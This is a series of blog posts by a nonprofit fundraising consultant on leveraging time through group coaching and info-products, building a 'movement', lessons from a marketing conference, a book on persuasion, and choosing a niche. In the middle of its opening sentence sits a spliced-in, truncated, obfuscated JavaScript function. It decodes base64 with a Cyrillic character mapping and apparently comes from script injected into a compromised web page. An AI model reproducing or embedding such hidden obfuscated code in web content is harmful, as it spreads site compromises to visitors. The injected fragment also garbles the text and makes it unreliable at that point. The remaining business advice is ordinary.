Help more nonprofits in the same amount of time
I’m sure you’ve heard the saying “work smarter, not harder.”function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
We all want to do that. We want to find a way to get more done without working more hours. Sometimes we think if we're clever enough or if we find the right time management tool, we can do it!
Well, I want to tell you that there is a way for you to serve more nonprofit clients and make more money without spending more time doing it. It's about leverage.
Leverage is about using a fulcrum to gain more power. As an entrepreneur, you need to gain more power over your day.
There are lots of ways you can leverage yourself. The most important one is for you to think about working with multiple clients at a time. Work one-to-many instead of one-to-one. When you work with one client at a time, there's a ceiling to the number of people you can help. You can physically only help a limited number of people.
But, when you work with multiple clients at once, you can dramatically increase the number of nonprofits you can serve.
So, what does leverage look like? Here are two common strategies:
- Group work. If you have multiple clients that are all experiencing the same problems, you can work with them all together, and only have to explain the solution one time instead of many times. You could offer a workshop to help a group of clients at one time, or you could do a 4-week coaching program, teaching for only an hour each week. With all the technology we have available to use, groups are just as easy to do virtually as they are in person.
- Products. If there are hundreds or thousands of people who need your expertise, think about creating an info-product to help them. This is a great way to leverage yourself! You create the product once, offer it on your website, then help countless nonprofits get the solution they need. Products can be books, audios, videos, workbooks, home study kits, or something else. The possibilities are endless!
The nice thing about leveraged income strategies is that they give you a way to offer something at a lower price point than your normal consulting rate, which makes it much more affordable for your clients and prospects. And oddly enough, you can make more money. Let me share an example.
In the Spring of 2012, I came across a way to do livestream training. A client had a studio that was largely sitting empty, and the first time I saw it, I knew exactly what I could do with it. My Simple Success Fundraising Plan was a popular product, and I really wanted to offer it in a new way. So I offered livestream training based on the book at a lower pricepoint, and had dozens of people jump on it. I made several thousand dollars teaching the material I already had, and had a great time doing it! Dozens of people got the help they needed putting a written fundraising plan together. It was a total win!
Products and groups are a lot easier to set up and run than you might think. If you need help, shoot me an email and we'll set up a free strategy session to see what form of leverage makes the most sense for you.
Creating a Movement
If you’ve ever wondered why some people seem to have all the sales they can handle while others struggle, there are reasons. It's largely about marketing (getting in front of the right people at the right time with the right offer), but it's also about movement.
My coach Suzanne Evans talks a LOT about creating a movement. It's about taking a stand for something that people can get excited about. For example, it's not enough to say to the nonprofit community "I can help you raise money." You need to tell they WHY it's important to you to help them. At Get Fully Funded, we say "we want to help you raise the money of your dreams so you can fully fund your mission." See the difference?
Watch this great video from Simon Sinek to understand this concept a bit more.
Always sharpen the saw
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I don't mean going back to school. Actually, you couldn't PAY me enough to go back to school! But I'll attend conferences and webinars and read books all the time. I love learning things that are applicable to my business.
I spent this past weekend at a conference called NAMS in Atlanta. It was my first time at this event, so I wasn't sure what to expect. As always, there's stuff to learn, people to meet, and food to eat (if you know me, you know that a visit to the Cheesecake Factory was on the agenda!!). I thought I'd share with you a few of the nuggets I took away.
In the opening session, I learned that my business style is Mentor/Creative. (No big surprise, right?) This means that I love teaching and sharing, and I'm really good at coming up with ideas. It was good affirmation that I should be leading workshops and writing books.
I was reminded by Jeff Herring that prospects are attracted to your "voice" and the way you approach and solve problems. When you blog and engage in article marketing, you're giving people a chance to get a taste of who you are and how you do what you do. Jeff also reminded us not to marketing to everyone. "Look for those mot hungry." Makes total sense to me. You can't help everyone, so why not help those who want it, need it, and are willing to pay for it?
The afternoon session, led by Karon Thackston, was about copywriting and creating personas for your target audience. I was able to sit down with Karon on day 2 and get her input on my personas to firm them up. These will become the basis for the website makeover that I'm planning for GetFullyFunded.com. When you're thinking about personas, be sure to include behavior, history, wants/needs/wishes, and struggles/issues/roadblocks in addition to demographics and psychographics. I other words, don't set your ideal client profile to "small nonprofits." Heck, there are over a million of those! Get more specific about the ideal small nonprofit. How long have they been around, what keeps them awake at night? The more you can refine this, the easier marketing gets.
On day 2, I learned a lot from Ellen Britt as she led a workshop on content marketing. She said that quality content = current, actionable, and informative. It's a good reminder that we need to provide our readers with good stuff, not just stuff. She went on to show us a 10-step process for taking one article and re-purposing it over and over to get maximum exposure from it. She included on that list sharing the article on social media, recording in and sharing on iTunes, and making PowerPoint slides and sharing on SlideShare. It's a way to reach multiple audiences with one piece of writing.
I sat in on a couple of sessions that talked about Amazon and selling ebooks for Kindle. I've resisted doing this for a while, but I finally see how this fits into my overall marketing strategy. I got lots of ideas for turning my current ebooks into Kindle and audiobooks, and gleaning other things from my current product inventory that I can monetize. I'm so excited to get some of these out there and see what happens!
I have pages and pages of notes, with action items starred and key phrases highlighted. My next step is to go back through and pull out the action items so I can work them into my calendar. This is how I make sure that I get my money's worth from the events I attend. Otherwise, it was just a fun weekend. If you and I don't implement what we learn, it's a waste of time.
Waiting For Your Cat to Bark
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I recently read “Waiting For Your Cat to Bark?” and confirmed a lot of what I already knew about marketing. I also got some insight into how to find the right customers and encourage them to make a purchase. And if you’re building products into your business, you definitely need to know how to help people buy from your website!
For example, to help your prospect buy, you need to do everything you can to make it easy for them to make a decision. That means not only giving them details of what they’re getting, but helping them imagine the results they will get when they use your product or service.
The book points out that “studies have demonstrated that when a person can’t connect emotionally with whatever task he is undertaking, he will not be able to make a decision.” Don’t assume your prospect will see the connection between your product or service and the solution they want to their problem. Spell it out. Connect the dots. Hold their hand and walk them through it.
Make sure you remove every barrier to the sale that you possibly can, so that your prospect can make a purchase and ultimately get their hands on the information that could change everything for them.
Interested? You can find this book on Amazon by clicking "Waiting for Your Cat to Bark".
The Value of Products
One of the things I love most about my lifestyle business is that the model lets me serve more people than I could using a regular business model. It makes my heart sing to know that I’m helping dozens, sometimes hundreds of people at once, working less than you’d expect.
Most people who become consultants charge by the hour for services rendered. In other words, they exchange hours for dollars. Using the Lifestyle Business model, you work one-to-many instead of one-to-one. By leveraging your time and your knowledge, you can serve more people and make more money using the same (or less) amount of time.
The most common way to do this is through information or teaching products, like books, workbooks, audios, videos, or some combination of these. Products allow you to record your knowledge into a format that your audience wants, and easily sell them from your website at all hours of the day or night. Add in an automated ordering, payment, and shipping system, and you can completely remove yourself from the process. The best part is that you do the work once to create the material for the product, then you and your audience reap the benefit from now on.
And plus, it’s just so cool to add “author” to your business card!
The Riches are in the Niches
You can’t be all things to all people. In business, it’s a recipe for failure.
When you choose and clearly define a niche for your business (a small, well-defined audience to market to) marketing and everything else gets easier. For a consultant or coach to nonprofits, a niche is critical. There are over 1.5 million nonprofits in the US alone. It’s not likely that you can effectively serve them all. So figure out who you can serve well and what issue or topic you can become the known expert. For example, you might choose to work only with animal shelters. Or you might choose to serve small nonprofits undertaking capital campaigns. Usually the best niche is something you have some experience with personally.
Regardless of the niche you choose, you’ll find that marketing becomes much simpler, because the people are easier to reach in large numbers. For example, if you choose animal shelters as your niche, there are associations of animal shelters in the US, complete with conferences, websites, and newsletters (I know because I once spoke at such a conference).
Another way to think about niche is to think about the topics that set your heart on fire. What flames your passion? Do you love talking about direct mail? Or maybe grantwriting? Maybe you get crazy passionate about anything that is a ministry or supports kids. Follow your heart and your energy to discover potential niches for your business.
Regardless of the technique you use to find it, uncovering your niche is vital to your ability to create a lifestyle business.
